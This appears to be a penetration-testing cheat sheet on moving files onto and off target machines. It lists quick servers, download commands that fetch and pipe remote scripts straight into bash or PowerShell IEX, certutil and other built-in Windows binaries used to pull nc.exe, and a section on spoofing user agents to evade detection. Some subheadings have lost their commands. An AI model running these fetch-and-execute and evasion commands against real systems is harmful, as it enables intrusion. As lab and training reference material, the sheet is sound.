Transferring Files
Simple Servers
python3 -m http.server 8000smbserver.py -smb2support share $(pwd)smbserver.py -smb2support share $(pwd) -user qu35t -password qu35tpython3 -m pyftpdlib -p 21python3 -m uploadserverphp -S 0.0.0.0:8000ruby -run -ehttpd . -p8000Transfer Files
wget http://10.10.10.10:8000/linpeas.sh -O linpeas.shcurl http://10.10.10.10:8000/linpeas.sh -o /dev/shm/linpeas.shcurl http://10.10.10.10:8000/linpeas.sh|bashWith SMB server.
copy file.txt \\10.10.10.10\share
copy \\10.10.10.10\share\nc.exenet use n: \\10.10.10.10\share /user:qu35t qu35t
copy file.txt n:
copy n:\nc.exeFile download.
(New-Object Net.WebClient).DownloadFile('https://docs.qu35t.pw/file.ps1','C:\Users\Public\Downloads\file.ps1')(New-Object Net.WebClient).DownloadFileAsync('https://docs.qu35t.pw/file.ps1','C:\Users\Public\Downloads\file.ps1')IEX (New-Object Net.WebClient).DownloadString('https://docs.qu35t.pw/file.ps1')(New-Object Net.WebClient).DownloadString('https://docs.qu35t.pw/file.ps1') | IEXInvoke-WebRequest https://docs.qu35t.pw/file.ps1 -OutFile file.ps1Invoke-WebRequest https://docs.qu35t.pw/file.ps1 -UseBasicParsing | IEXInvoke-RestMethod https://docs.qu35t.pw/file.ps1 -OutFile file.ps1certutil -urlcache -split -f http://10.10.10.10/nc.exedecertutil -verifyctl -split -f http://10.10.10.10/nc.exeGfxDownloadWrapper.exe "http://10.10.10.10/nc.exe" "C:\Temp\nc.exe"File upload.
Linux
Encode and decode from base64.
Windows
Encode and decode from base64.
Check MD5 signature.
Connect to the target webserver.
HTTP GET request.
Print the response.
Mounting a linux folder.
Validating File Transfers
file linpeas.shmd5sum linpeas.shEvading Detection
Listing out user agents.
[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | flWith Chrome user agent.
Invoke-WebRequest http://10.10.10.10/nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "C:\Users\Public\nc.exe"References
Last updated